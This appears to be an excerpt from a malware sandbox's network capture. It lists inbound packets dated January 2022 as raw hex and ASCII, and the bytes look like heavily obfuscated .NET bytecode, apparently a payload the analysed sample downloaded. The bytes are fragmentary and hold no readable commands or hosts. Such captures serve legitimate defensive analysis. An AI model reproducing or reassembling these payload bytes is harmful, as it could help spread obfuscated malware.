2022-01-14 01:04:32 UTC	15	IN	Data Raw: e6 ff ff 38 b1 13 00 00 20 4e 00 00 00 38 16 e6 ff ff 7e 66 00 00 04 28 ec 00 00 06 28 ed 00 00 06 13 58 20 63 00 00 00 fe 0e 51 00 38 f3 e5 ff ff fe 0c 05 00 20 05 00 00 00 fe 0c 1a 00 9c 20 4d 01 00 00 28 1e 01 00 06 39 da e5 ff ff 26 20 66 01 00 00 38 cf e5 ff ff 20 66 00 00 00 20 03 00 00 00 58 fe 0e 0e 00 20 c7 00 00 00 38 b6 e5 ff ff fe 0c 05 00 20 0f 00 00 00 20 65 00 00 00 20 65 00 00 00 58 9c 20 87 01 00 00 fe 0e 51 00 38 8f e5 ff ff 7f 52 00 00 04 28 72 00 00 0a 28 17 01 00 06 13 35 20 69 02 00 00 38 78 e5 ff ff fe 0c 0a 00 20 1c 00 00 00 20 af 00 00 00 20 3a 00 00 00 59 9c 20 1e 00 00 00 38 59 e5 ff ff 1f 38 17 28 ce 00 00 06 28 fc 00 00 06 28 fd 00 00 06 13 50 20 01 02 00 00 fe 0e 51 00 38 33 e5 ff ff 16 13 23 20 45 01 00 00 38 2a e5 ff ff fe Data Ascii: 8 N8~f((X cQ8 M(9& f8 f X 8 e eX Q8R(r(5 i8x :Y 8Y8(((P Q83# E8*
2022-01-14 01:04:32 UTC	16	IN	Data Raw: 20 02 00 00 00 fe 0c 0e 00 9c 20 35 00 00 00 28 1f 01 00 06 39 b6 e0 ff ff 26 20 02 00 00 00 38 ab e0 ff ff 20 d6 00 00 00 20 47 00 00 00 59 fe 0e 1a 00 20 41 01 00 00 38 92 e0 ff ff 11 75 11 20 17 58 11 07 17 91 9c 20 e4 01 00 00 38 7d e0 ff ff fe 0c 0a 00 20 17 00 00 00 fe 0c 40 00 9c 20 67 02 00 00 38 65 e0 ff ff 11 27 11 78 19 58 91 1f 18 62 11 27 11 78 18 58 91 1f 10 62 60 11 27 11 78 17 58 91 1e 62 60 11 27 11 78 91 60 13 00 20 4c 00 00 00 38 34 e0 ff ff 20 6f 00 00 00 20 4f 00 00 00 58 fe 0e 40 00 20 f1 01 00 00 28 1f 01 00 06 39 16 e0 ff ff 26 20 d7 00 00 00 38 0b e0 ff ff 20 10 00 00 00 20 0d 00 00 00 58 fe 0e 40 00 20 dd 00 00 00 38 f2 df ff ff 20 e7 00 00 00 20 4d 00 00 00 59 fe 0e 40 00 20 ad 00 00 00 38 d9 df ff ff fe 0c 0a 00 20 1c 00 00 00 Data Ascii: 5(9& 8 GY A8u X 8} @ g8e'xXb'xXb`'xXb`'x` L84 o OX@ (9& 8 X@ 8 MY@ 8
2022-01-14 01:04:32 UTC	18	IN	Data Raw: b7 00 00 00 28 1f 01 00 06 3a 68 db ff ff 26 20 60 02 00 00 38 5d db ff ff fe 0c 0a 00 20 11 00 00 00 20 aa 00 00 00 20 38 00 00 00 59 9c 20 db 01 00 00 38 3e db ff ff 11 4f 11 18 1a 5a 11 09 12 09 28 b0 00 00 06 26 20 9c 02 00 00 38 24 db ff ff 7e 4e 00 00 04 28 0c 01 00 06 13 19 20 e5 00 00 00 38 0e db ff ff 11 60 11 53 3f b1 17 00 00 20 1f 02 00 00 38 fb da ff ff fe 0c 05 00 20 0a 00 00 00 20 87 00 00 00 20 2d 00 00 00 59 9c 20 81 00 00 00 38 dc da ff ff 11 75 11 1d 1b 58 11 31 1b 91 9c 20 16 01 00 00 28 1f 01 00 06 39 c2 da ff ff 26 20 02 01 00 00 38 b7 da ff ff 16 13 6e 20 79 00 00 00 28 1f 01 00 06 3a a5 da ff ff 26 20 2f 01 00 00 38 9a da ff ff 20 9e 00 00 00 20 34 00 00 00 59 fe 0e 0e 00 20 86 02 00 00 28 1e 01 00 06 3a 7c da ff ff 26 20 e4 01 00 Data Ascii: (:h& `8] 8Y 8>OZ(& 8$~N( 8`S? 8 -Y 8uX1 (9& 8n y(:& /8 4Y (:\|&
2022-01-14 01:04:32 UTC	19	IN	Data Raw: f4 00 00 06 25 17 28 f5 00 00 06 11 27 11 13 28 f6 00 00 06 13 3d 20 88 02 00 00 38 fd d5 ff ff fe 0c 0a 00 20 02 00 00 00 fe 0c 40 00 9c 20 52 01 00 00 38 e5 d5 ff ff 11 4c 73 76 00 00 0a 28 d4 00 00 06 1f 40 12 67 28 b0 00 00 06 26 20 59 01 00 00 38 c5 d5 ff ff 20 3e 00 00 00 20 5f 00 00 00 58 fe 0e 0e 00 20 16 00 00 00 28 1e 01 00 06 39 a7 d5 ff ff 26 20 a7 01 00 00 38 9c d5 ff ff fe 0c 05 00 20 01 00 00 00 fe 0c 1a 00 9c 20 76 02 00 00 38 84 d5 ff ff 38 04 26 00 00 20 eb 01 00 00 38 75 d5 ff ff fe 0c 05 00 20 0d 00 00 00 fe 0c 2c 00 9c 20 13 00 00 00 28 1e 01 00 06 39 58 d5 ff ff 26 20 40 01 00 00 38 4d d5 ff ff 11 23 13 23 20 f4 01 00 00 38 3f d5 ff ff 11 75 11 1d 1c 58 11 31 1c 91 9c 20 85 00 00 00 38 2a d5 ff ff fe 0c 05 00 20 00 00 00 00 20 97 00 Data Ascii: %('(= 8 @ R8Lsv(@g(& Y8 > _X (9& 8 v88& 8u , (9X& @8M## 8?uX1 8*
2022-01-14 01:04:32 UTC	20	IN	Data Raw: 00 00 20 47 00 00 00 59 9c 20 6b 00 00 00 38 b1 d0 ff ff 11 6d 28 f3 00 00 06 13 48 20 34 00 00 00 28 1f 01 00 06 39 99 d0 ff ff 26 20 11 00 00 00 38 8e d0 ff ff 28 d3 00 00 06 20 a5 01 00 00 38 7f d0 ff ff 11 13 1f 0d 11 58 1c 91 9c 20 14 00 00 00 28 1e 01 00 06 39 67 d0 ff ff 26 20 36 02 00 00 38 5c d0 ff ff 11 75 11 1d 18 58 11 07 18 91 9c 20 2b 00 00 00 28 1f 01 00 06 3a 42 d0 ff ff 26 20 3a 00 00 00 38 37 d0 ff ff 00 11 36 28 d7 00 00 06 28 d8 00 00 06 13 62 20 01 00 00 00 28 1f 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 4e 00 45 02 00 00 00 31 02 00 00 05 00 00 00 38 2c 02 00 00 00 38 74 00 00 00 20 02 00 00 00 38 04 00 00 00 fe 0c 2b 00 45 0a 00 00 00 39 00 00 00 09 01 00 00 89 00 00 00 d0 00 00 00 14 00 00 00 5f 00 00 00 05 00 Data Ascii: GY k8m(H 4(9& 8( 8X (9g& 68\uX +(:B& :876((b (9& 8NE18,8t 8+E9_
2022-01-14 01:04:32 UTC	22	IN	Data Raw: 01 00 00 00 38 b8 ff ff ff 16 13 57 20 05 00 00 00 38 ab ff ff ff 12 5d 28 72 00 00 0a 7e 6b 00 00 04 40 bc ff ff ff 20 02 00 00 00 38 90 ff ff ff 38 47 00 00 00 20 00 00 00 00 28 1f 01 00 06 3a 7c ff ff ff 26 20 00 00 00 00 38 71 ff ff ff 11 62 28 d9 00 00 06 74 52 00 00 01 28 d0 00 00 06 13 5d 20 04 00 00 00 28 1f 01 00 06 39 4f ff ff ff 26 20 00 00 00 00 38 44 ff ff ff dd 9a 00 00 00 11 62 75 55 00 00 01 13 3a 20 02 00 00 00 28 1f 01 00 06 39 0f 00 00 00 26 20 01 00 00 00 38 04 00 00 00 fe 0c 5a 00 45 03 00 00 00 05 00 00 00 47 00 00 00 26 00 00 00 38 00 00 00 00 11 3a 28 e5 00 00 06 20 01 00 00 00 28 1f 01 00 06 3a d4 ff ff ff 26 20 01 00 00 00 38 c9 ff ff ff 11 3a 39 1a 00 00 00 20 00 00 00 00 28 1f 01 00 06 3a b3 ff ff ff 26 20 00 00 00 00 38 a8 ff Data Ascii: 8W 8](r~k@ 88G (:\|& 8qb(tR(] (9O& 8DbuU: (9& 8ZEG&8:( (:& 8:9 (:& 8
2022-01-14 01:04:32 UTC	23	IN	Data Raw: 00 20 bc 00 00 00 20 3e 00 00 00 59 9c 20 77 00 00 00 28 1f 01 00 06 3a f6 c5 ff ff 26 20 7d 00 00 00 38 eb c5 ff ff fe 0c 0a 00 20 0f 00 00 00 fe 0c 40 00 9c 20 aa 01 00 00 38 d3 c5 ff ff 12 08 e0 73 71 00 00 0a 16 7e 0a 00 00 0a 28 c8 00 00 06 20 55 00 00 00 38 b6 c5 ff ff fe 0c 0a 00 20 06 00 00 00 fe 0c 0e 00 9c 20 d5 00 00 00 28 1e 01 00 06 3a 99 c5 ff ff 26 20 c6 00 00 00 38 8e c5 ff ff fe 0c 05 00 20 00 00 00 00 fe 0c 2c 00 9c 20 96 00 00 00 38 76 c5 ff ff fe 0c 0a 00 20 04 00 00 00 fe 0c 0e 00 9c 20 75 01 00 00 38 5e c5 ff ff 11 4b 20 f1 f2 f3 f4 40 8d e6 ff ff 20 96 01 00 00 38 48 c5 ff ff 20 ea 00 00 00 20 4e 00 00 00 59 fe 0e 0e 00 20 93 02 00 00 38 2f c5 ff ff 20 1a 00 00 00 20 3f 00 00 00 58 fe 0e 1a 00 20 c4 00 00 00 38 16 c5 ff ff 14 13 3b Data Ascii: >Y w(:& }8 @ 8sq~( U8 (:& 8 , 8v u8^K @ 8H NY 8/ ?X 8;
2022-01-14 01:04:32 UTC	24	IN	Data Raw: 00 06 11 0c 28 dd 00 00 06 28 e0 00 00 06 11 0c 28 dd 00 00 06 28 e1 00 00 06 73 78 00 00 0a 13 76 20 04 00 00 00 28 1f 01 00 06 39 23 fe ff ff 26 20 04 00 00 00 38 18 fe ff ff 11 76 11 77 28 e2 00 00 06 3a 79 fe ff ff 20 09 00 00 00 fe 0e 52 00 38 f8 fd ff ff dd df 09 00 00 11 62 75 55 00 00 01 13 3a 20 03 00 00 00 38 04 00 00 00 fe 0c 42 00 45 04 00 00 00 26 00 00 00 66 00 00 00 47 00 00 00 05 00 00 00 38 21 00 00 00 11 3a 3a 1a 00 00 00 20 00 00 00 00 28 1e 01 00 06 39 d0 ff ff ff 26 20 02 00 00 00 38 c5 ff ff ff 11 3a 28 e5 00 00 06 20 01 00 00 00 28 1f 01 00 06 39 af ff ff ff 26 20 00 00 00 00 38 a4 ff ff ff 38 1a 00 00 00 20 00 00 00 00 28 1e 01 00 06 39 90 ff ff ff 26 20 00 00 00 00 38 85 ff ff ff dc 20 b3 01 00 00 28 1f 01 00 06 3a bb bf ff ff 26 Data Ascii: ((((sxv (9#& 8vw(:y R8buU: 8BE&fG8!:: (9& 8:( (9& 88 (9& 8 (:&
2022-01-14 01:04:32 UTC	26	IN	Data Raw: 00 00 58 9c 20 8b 01 00 00 28 1e 01 00 06 39 4d bb ff ff 26 20 68 02 00 00 38 42 bb ff ff fe 0c 0a 00 20 0c 00 00 00 20 77 00 00 00 20 14 00 00 00 58 9c 20 be 00 00 00 28 1f 01 00 06 3a 1e bb ff ff 26 20 9d 01 00 00 38 13 bb ff ff 11 1b 17 1f 6c 9c 20 97 01 00 00 38 03 bb ff ff fe 0c 05 00 20 04 00 00 00 20 4e 00 00 00 20 18 00 00 00 59 9c 20 0e 00 00 00 28 1f 01 00 06 3a df ba ff ff 26 20 97 00 00 00 38 d4 ba ff ff fe 0c 0a 00 20 09 00 00 00 fe 0c 40 00 9c 20 cb 00 00 00 28 1f 01 00 06 39 b7 ba ff ff 26 20 7c 00 00 00 38 ac ba ff ff fe 0c 05 00 20 08 00 00 00 20 7f 00 00 00 20 2a 00 00 00 59 9c 20 32 02 00 00 38 8d ba ff ff fe 0c 0a 00 20 00 00 00 00 20 de 00 00 00 20 4a 00 00 00 59 9c 20 2c 01 00 00 38 6e ba ff ff 20 18 00 00 00 20 0f 00 00 00 59 fe 0e Data Ascii: X (9M& h8B w X (:& 8l 8 N Y (:& 8 @ (9& \|8 *Y 28 JY ,8n Y
2022-01-14 01:04:32 UTC	27	IN	Data Raw: fe 0c 0a 00 20 15 00 00 00 fe 0c 0e 00 9c 20 19 00 00 00 28 1e 01 00 06 39 ea b5 ff ff 26 20 15 01 00 00 38 df b5 ff ff 1f 10 13 20 20 57 02 00 00 38 d1 b5 ff ff 28 05 01 00 06 11 1b 28 06 01 00 06 13 21 20 29 01 00 00 38 b9 b5 ff ff fe 0c 05 00 20 09 00 00 00 fe 0c 1a 00 9c 20 46 01 00 00 fe 0e 51 00 38 99 b5 ff ff 20 8d 00 00 00 20 2f 00 00 00 59 fe 0e 2c 00 20 60 00 00 00 28 1f 01 00 06 39 7f b5 ff ff 26 20 25 00 00 00 38 74 b5 ff ff fe 0c 05 00 20 0e 00 00 00 20 26 00 00 00 20 15 00 00 00 59 9c 20 2e 00 00 00 38 55 b5 ff ff 20 eb 00 00 00 20 4e 00 00 00 59 fe 0e 1a 00 20 21 00 00 00 28 1f 01 00 06 3a 37 b5 ff ff 26 20 a4 00 00 00 38 2c b5 ff ff 7e 0a 00 00 0a 13 26 20 6b 00 00 00 28 1e 01 00 06 39 16 b5 ff ff 26 20 d1 00 00 00 38 0b b5 ff ff fe 0c 0a Data Ascii: (9& 8 W8((! )8 FQ8 /Y, `(9& %8t & Y .8U NY !(:7& 8,~& k(9& 8
2022-01-14 01:04:32 UTC	28	IN	Data Raw: ff fe 0c 0a 00 13 27 20 a2 01 00 00 38 9d b0 ff ff 11 75 11 1d 18 58 11 31 18 91 9c 20 02 01 00 00 28 1e 01 00 06 3a 83 b0 ff ff 26 20 1c 00 00 00 38 78 b0 ff ff 20 2f 00 00 00 20 6a 00 00 00 58 fe 0e 40 00 20 6c 00 00 00 fe 0e 51 00 38 57 b0 ff ff fe 0c 05 00 20 08 00 00 00 fe 0c 1a 00 9c 20 25 00 00 00 28 1f 01 00 06 39 3e b0 ff ff 26 20 18 00 00 00 38 33 b0 ff ff 20 b7 00 00 00 20 3d 00 00 00 59 fe 0e 0e 00 20 ed 00 00 00 38 1a b0 ff ff 11 3c 1a 1e 12 09 28 b0 00 00 06 26 20 0f 01 00 00 28 1f 01 00 06 3a ff af ff ff 26 20 63 01 00 00 38 f4 af ff ff 20 61 00 00 00 20 02 00 00 00 58 fe 0e 0e 00 20 28 01 00 00 38 db af ff ff 11 75 16 11 46 11 75 8e 69 28 cc 00 00 06 20 58 02 00 00 fe 0e 51 00 38 bb af ff ff 28 d4 00 00 06 1a 3b 2a d6 ff ff 20 03 00 00 00 Data Ascii: ' 8uX1 (:& 8x / jX@ lQ8W %(9>& 83 =Y 8<(& (:& c8 a X (8uFui( XQ8(;*
2022-01-14 01:04:32 UTC	30	IN	Data Raw: 38 50 ab ff ff fe 0c 0a 00 20 18 00 00 00 fe 0c 40 00 9c 20 f1 00 00 00 28 1e 01 00 06 3a 33 ab ff ff 26 20 d4 00 00 00 38 28 ab ff ff 7e 4d 00 00 04 3a 22 c4 ff ff 20 ea 00 00 00 38 14 ab ff ff fe 0c 0a 00 20 03 00 00 00 fe 0c 40 00 9c 20 69 01 00 00 28 1e 01 00 06 3a f7 aa ff ff 26 20 66 01 00 00 38 ec aa ff ff 20 7d 00 00 00 20 5e 00 00 00 59 fe 0e 0e 00 20 d2 00 00 00 fe 0e 51 00 38 cb aa ff ff 2a 00 20 26 02 00 00 fe 0e 51 00 38 bb aa ff ff fe 0c 05 00 20 04 00 00 00 20 30 00 00 00 20 3e 00 00 00 58 9c 20 7a 00 00 00 38 a0 aa ff ff fe 0c 05 00 20 02 00 00 00 fe 0c 2c 00 9c 20 99 02 00 00 28 1e 01 00 06 3a 83 aa ff ff 26 20 7b 01 00 00 38 78 aa ff ff 20 00 1e 00 00 13 57 20 38 00 00 00 28 1f 01 00 06 3a 62 aa ff ff 26 20 48 00 00 00 38 57 aa ff ff fe Data Ascii: 8P @ (:3& 8(~M:" 8 @ i(:& f8 } ^Y Q8* &Q8 0 >X z8 , (:& {8x W 8(:b& H8W
2022-01-14 01:04:32 UTC	31	IN	Data Raw: 00 38 04 00 00 00 fe 0c 2f 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 37 02 00 00 26 20 00 00 00 00 28 1e 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 37 00 45 02 00 00 00 05 00 00 00 d9 00 00 00 38 00 00 00 00 00 11 2a 73 76 00 00 0a d0 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 13 28 20 00 00 00 00 28 1e 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 61 00 45 02 00 00 00 05 00 00 00 3f 00 00 00 38 00 00 00 00 d0 2e 00 00 02 28 03 01 00 06 11 28 28 10 01 00 06 28 11 01 00 06 74 2e 00 00 02 80 5c 00 00 04 20 01 00 00 00 28 1e 01 00 06 3a bf ff ff ff 26 20 00 00 00 00 38 b4 ff ff ff dd 4c 00 00 00 26 20 00 00 00 00 28 1e 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 29 00 45 01 00 00 00 05 00 00 00 38 Data Ascii: 8/E87& (9& 87E8*sv.((( (9& 8aE?8.((((t.\ (:& 8L& (:& 8)E8
2022-01-14 01:04:32 UTC	32	IN	Data Raw: 00 28 1e 01 00 06 39 98 a0 ff ff 26 20 3a 01 00 00 38 8d a0 ff ff fe 0c 05 00 13 13 20 07 00 00 00 38 7d a0 ff ff 11 6d 28 f3 00 00 06 13 17 20 49 01 00 00 38 6a a0 ff ff 28 05 01 00 06 11 72 28 06 01 00 06 13 1e 20 14 00 00 00 28 1e 01 00 06 3a 4d a0 ff ff 26 20 08 00 00 00 38 42 a0 ff ff fe 0c 0a 00 20 11 00 00 00 20 14 00 00 00 20 76 00 00 00 58 9c 20 82 00 00 00 28 1e 01 00 06 39 1e a0 ff ff 26 20 e5 01 00 00 38 13 a0 ff ff fe 0c 0a 00 20 15 00 00 00 20 c4 00 00 00 20 41 00 00 00 59 9c 20 61 00 00 00 28 1f 01 00 06 39 ef 9f ff ff 26 20 35 00 00 00 38 e4 9f ff ff 7e 66 00 00 04 28 ef 00 00 06 16 9a 28 f0 00 00 06 13 5d 20 fc 00 00 00 38 c7 9f ff ff 20 63 00 00 00 20 6b 00 00 00 58 fe 0e 0e 00 20 74 01 00 00 28 1e 01 00 06 39 a9 9f ff ff 26 20 31 02 00 Data Ascii: (9& :8 8}m( I8j(r( (:M& 8B vX (9& 8 AY a(9& 58~f((] 8 c kX t(9& 1
2022-01-14 01:04:32 UTC	34	IN	Data Raw: 20 0a 00 00 00 fe 0c 40 00 9c 20 2c 01 00 00 28 1f 01 00 06 3a 89 9b ff ff 26 20 0d 02 00 00 38 7e 9b ff ff fe 0c 0a 00 20 0a 00 00 00 20 b3 00 00 00 20 3b 00 00 00 59 9c 20 3c 00 00 00 28 1f 01 00 06 39 5a 9b ff ff 26 20 2c 00 00 00 38 4f 9b ff ff 11 75 11 1d 1d 58 11 35 1d 91 9c 20 75 02 00 00 38 3a 9b ff ff 18 13 1d 20 f3 01 00 00 38 2d 9b ff ff 11 6d 28 f3 00 00 06 26 20 8f 01 00 00 38 1b 9b ff ff 7e 5c 00 00 04 28 10 01 00 06 28 19 01 00 06 28 1a 01 00 06 20 8e 01 00 00 38 fd 9a ff ff 11 21 28 ab 00 00 06 13 16 20 50 01 00 00 28 1f 01 00 06 3a e5 9a ff ff 26 20 e0 01 00 00 38 da 9a ff ff 20 b4 00 00 00 20 51 00 00 00 59 fe 0e 0e 00 20 9a 00 00 00 38 c1 9a ff ff 11 72 18 1f 74 9c 20 13 00 00 00 28 1e 01 00 06 3a ac 9a ff ff 26 20 0e 00 00 00 38 a1 9a Data Ascii: @ ,(:& 8~ ;Y <(9Z& ,8OuX5 u8: 8-m(& 8~\((( 8!( P(:& 8 QY 8rt (:& 8
2022-01-14 01:04:32 UTC	35	IN	Data Raw: dd 6f 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 00 02 6f 74 00 00 0a 72 f7 0f 00 70 6f 7e 00 00 0a 02 16 8d 0a 00 00 01 6f 7f 00 00 0a 6f 75 00 00 0a 28 7a 00 00 0a 39 27 00 00 00 02 6f 74 00 00 0a 72 f7 0f 00 70 6f 7e 00 00 0a 02 16 8d 0a 00 00 01 6f 7f 00 00 0a 6f 75 00 00 0a 0a dd 11 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 72 01 00 00 70 2a 06 2a 00 01 28 00 00 00 00 00 00 2b 2b 00 06 0a 00 00 01 00 00 32 00 5d 8f 00 06 0a 00 00 01 00 00 96 00 57 ed 00 06 0a 00 00 01 13 30 05 00 4f 00 00 00 00 00 00 00 7e 59 00 00 04 3a 37 00 00 00 28 b3 00 00 06 72 09 10 00 70 28 62 00 00 0a 72 15 10 00 70 28 80 00 00 0a 28 ac 00 00 06 d0 32 00 00 02 28 23 00 00 0a 28 81 00 00 0a 74 32 00 00 02 80 59 00 00 04 7e 59 00 00 04 02 03 04 6f 41 01 00 06 2a 00 13 30 06 00 Data Ascii: o&otrpo~oou(z9'otrpo~oou&rp*(++2]W0O~Y:7(rp(brp((2(#(t2Y~YoA0
2022-01-14 01:04:32 UTC	36	IN	Data Raw: 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 0f 11 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 43 11 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 77 11 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 13 30 02 00 02 00 00 00 18 00 00 11 14 2a 00 00 13 30 02 00 02 00 00 00 18 00 00 11 14 2a 00 00 72 72 ab 11 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 df 11 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 13 30 02 00 02 00 00 00 19 00 00 11 14 2a 00 00 13 30 02 00 02 00 00 00 19 00 00 11 14 2a 00 00 0a 17 2a 00 3e 00 fe 09 00 00 fe 09 01 Data Ascii: %%rrpoa&&%%rrCpoa&&%%rrwpoa&&%%00rrpoa&&%%rrpoa&&%%00*>
2022-01-14 01:04:32 UTC	38	IN	Data Raw: 00 00 0a 2a 00 2e 00 fe 09 00 00 28 be 00 00 0a 2a 2e 00 fe 09 00 00 28 bf 00 00 0a 2a 2a fe 09 00 00 6f c0 00 00 0a 2a 00 2e 00 fe 09 00 00 28 c1 00 00 0a 2a 3e 00 fe 09 00 00 fe 09 01 00 28 25 00 00 0a 2a 5e 00 fe 09 00 00 fe 09 01 00 fe 09 02 00 fe 09 03 00 28 ae 00 00 06 2a 3e 00 fe 09 00 00 fe 09 01 00 28 c2 00 00 0a 2a 16 14 14 fe 01 2a 00 00 0a 14 2a 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 4e 02 28 09 00 00 0a 02 03 73 3c 00 00 0a 7d 73 00 00 04 2a 32 02 Data Ascii: .(.(*o.(>(%^(>(((***(0**(((N(s<}s*2
2022-01-14 01:04:32 UTC	39	IN	Data Raw: 25 00 00 b4 23 00 00 5e 00 00 00 c8 29 00 00 bb 1f 00 00 f5 16 00 00 2c 11 00 00 97 1b 00 00 27 01 00 00 3a 1f 00 00 52 19 00 00 99 25 00 00 8f 14 00 00 12 25 00 00 0d 11 00 00 15 06 00 00 b1 13 00 00 28 30 00 00 a5 1d 00 00 1d 00 00 00 f8 1e 00 00 bd 03 00 00 da 1b 00 00 e6 00 00 00 ed 22 00 00 e1 07 00 00 9d 0d 00 00 7c 21 00 00 a8 2b 00 00 8c 1d 00 00 9f 1a 00 00 87 20 00 00 77 24 00 00 f8 18 00 00 6d 03 00 00 9b 0e 00 00 4d 26 00 00 8b 18 00 00 09 10 00 00 76 06 00 00 ad 26 00 00 6f 29 00 00 3d 22 00 00 8f 06 00 00 f5 12 00 00 f4 2a 00 00 b7 28 00 00 31 06 00 00 32 02 00 00 5d 0d 00 00 02 25 00 00 b3 0e 00 00 f7 0c 00 00 df 04 00 00 d5 03 00 00 16 0c 00 00 24 2e 00 00 75 0d 00 00 7a 2a 00 00 c2 0f 00 00 1d 17 00 00 e7 08 00 00 8a 07 00 00 66 26 00 00 Data Ascii: %#^),':R%%(0"\|!+ w$mM&v&o)="(12]%$.uzf&
2022-01-14 01:04:32 UTC	40	IN	Data Raw: ff 20 86 00 00 00 20 63 00 00 00 59 fe 0e 28 00 20 42 00 00 00 38 e3 f6 ff ff fe 0c 0e 00 20 15 00 00 00 fe 0c 29 00 9c 20 48 01 00 00 28 73 01 00 06 39 c6 f6 ff ff 26 20 59 01 00 00 38 bb f6 ff ff 20 5c 00 00 00 20 46 00 00 00 58 fe 0e 29 00 20 19 00 00 00 28 73 01 00 06 3a 9d f6 ff ff 26 20 19 00 00 00 38 92 f6 ff ff 11 2a 11 03 58 13 2a 20 60 01 00 00 28 73 01 00 06 3a 7c f6 ff ff 26 20 f2 00 00 00 38 71 f6 ff ff fe 0c 0e 00 20 06 00 00 00 20 9e 00 00 00 20 58 00 00 00 58 9c 20 5e 00 00 00 38 52 f6 ff ff fe 0c 0e 00 20 04 00 00 00 20 e4 00 00 00 20 4c 00 00 00 59 9c 20 5d 01 00 00 38 33 f6 ff ff fe 0c 11 00 20 0e 00 00 00 fe 0c 28 00 9c 20 29 01 00 00 38 1b f6 ff ff 20 53 00 00 00 20 09 00 00 00 58 fe 0e 29 00 20 ae 00 00 00 38 02 f6 ff ff fe 0c 0e 00 Data Ascii: cY( B8 ) H(s9& Y8 \ FX) (s:& 8X `(s:\|& 8q XX ^8R LY ]83 ( )8 S X) 8
2022-01-14 01:04:32 UTC	42	IN	Data Raw: 00 00 38 9d f1 ff ff 11 0b 11 1d 5d 13 0d 20 15 00 00 00 fe 0e 20 00 38 84 f1 ff ff fe 0c 0e 00 20 18 00 00 00 fe 0c 29 00 9c 20 9b 00 00 00 38 70 f1 ff ff fe 0c 0e 00 20 11 00 00 00 fe 0c 29 00 9c 20 50 00 00 00 28 74 01 00 06 39 53 f1 ff ff 26 20 29 00 00 00 38 48 f1 ff ff 20 7a 00 00 00 20 1c 00 00 00 58 fe 0e 29 00 20 02 00 00 00 28 74 01 00 06 3a 2a f1 ff ff 26 20 0b 00 00 00 38 1f f1 ff ff fe 0c 0e 00 20 00 00 00 00 20 20 00 00 00 20 62 00 00 00 58 9c 20 1f 00 00 00 28 74 01 00 06 39 fb f0 ff ff 26 20 1c 00 00 00 38 f0 f0 ff ff fe 0c 0e 00 20 10 00 00 00 fe 0c 29 00 9c 20 03 01 00 00 38 d8 f0 ff ff 20 cc 00 00 00 20 44 00 00 00 59 fe 0e 29 00 20 1a 01 00 00 38 bf f0 ff ff fe 0c 11 00 20 03 00 00 00 fe 0c 28 00 9c 20 9d 00 00 00 28 73 01 00 06 3a a2 Data Ascii: 8] 8 ) 8p ) P(t9S& )8H z X) (t:*& 8 bX (t9& 8 ) 8 DY) 8 ( (s:
2022-01-14 01:04:32 UTC	43	IN	Data Raw: ff fe 0c 0e 00 20 0a 00 00 00 fe 0c 29 00 9c 20 3f 00 00 00 28 74 01 00 06 39 2d ec ff ff 26 20 30 00 00 00 38 22 ec ff ff 20 b3 00 00 00 20 3b 00 00 00 59 fe 0e 29 00 20 f6 00 00 00 28 73 01 00 06 3a 04 ec ff ff 26 20 16 00 00 00 38 f9 eb ff ff fe 0c 11 00 20 02 00 00 00 fe 0c 28 00 9c 20 54 01 00 00 38 e1 eb ff ff fe 0c 0e 00 20 19 00 00 00 20 fc 00 00 00 20 54 00 00 00 59 9c 20 25 01 00 00 fe 0e 20 00 38 ba eb ff ff fe 0c 0e 00 20 03 00 00 00 20 da 00 00 00 20 48 00 00 00 59 9c 20 03 01 00 00 28 73 01 00 06 39 9a eb ff ff 26 20 2a 01 00 00 38 8f eb ff ff 11 06 8e 69 1a 5d 13 05 20 77 01 00 00 38 7d eb ff ff fe 0c 11 00 20 0c 00 00 00 fe 0c 28 00 9c 20 e7 00 00 00 38 65 eb ff ff 20 f5 00 00 00 20 51 00 00 00 59 fe 0e 29 00 20 7e 01 00 00 28 73 01 00 06 Data Ascii: ) ?(t9-& 08" ;Y) (s:& 8 ( T8 TY % 8 HY (s9& *8i] w8} ( 8e QY) ~(s
2022-01-14 01:04:32 UTC	44	IN	Data Raw: ee e6 ff ff 26 20 06 00 00 00 38 e3 e6 ff ff 20 dd 00 00 00 20 49 00 00 00 59 fe 0e 29 00 20 5f 00 00 00 38 ca e6 ff ff fe 0c 0e 00 20 13 00 00 00 fe 0c 29 00 9c 20 65 01 00 00 38 b2 e6 ff ff fe 0c 0e 00 20 03 00 00 00 20 a8 00 00 00 20 38 00 00 00 59 9c 20 2b 01 00 00 28 73 01 00 06 3a 8e e6 ff ff 26 20 14 00 00 00 38 83 e6 ff ff 16 13 08 20 17 01 00 00 28 73 01 00 06 3a 71 e6 ff ff 26 20 82 00 00 00 38 66 e6 ff ff 20 65 00 00 00 20 3e 00 00 00 58 fe 0e 29 00 20 e5 00 00 00 28 73 01 00 06 39 48 e6 ff ff 26 20 ee 00 00 00 38 3d e6 ff ff fe 0c 0e 00 20 1f 00 00 00 20 ce 00 00 00 20 44 00 00 00 59 9c 20 a1 00 00 00 28 74 01 00 06 39 19 e6 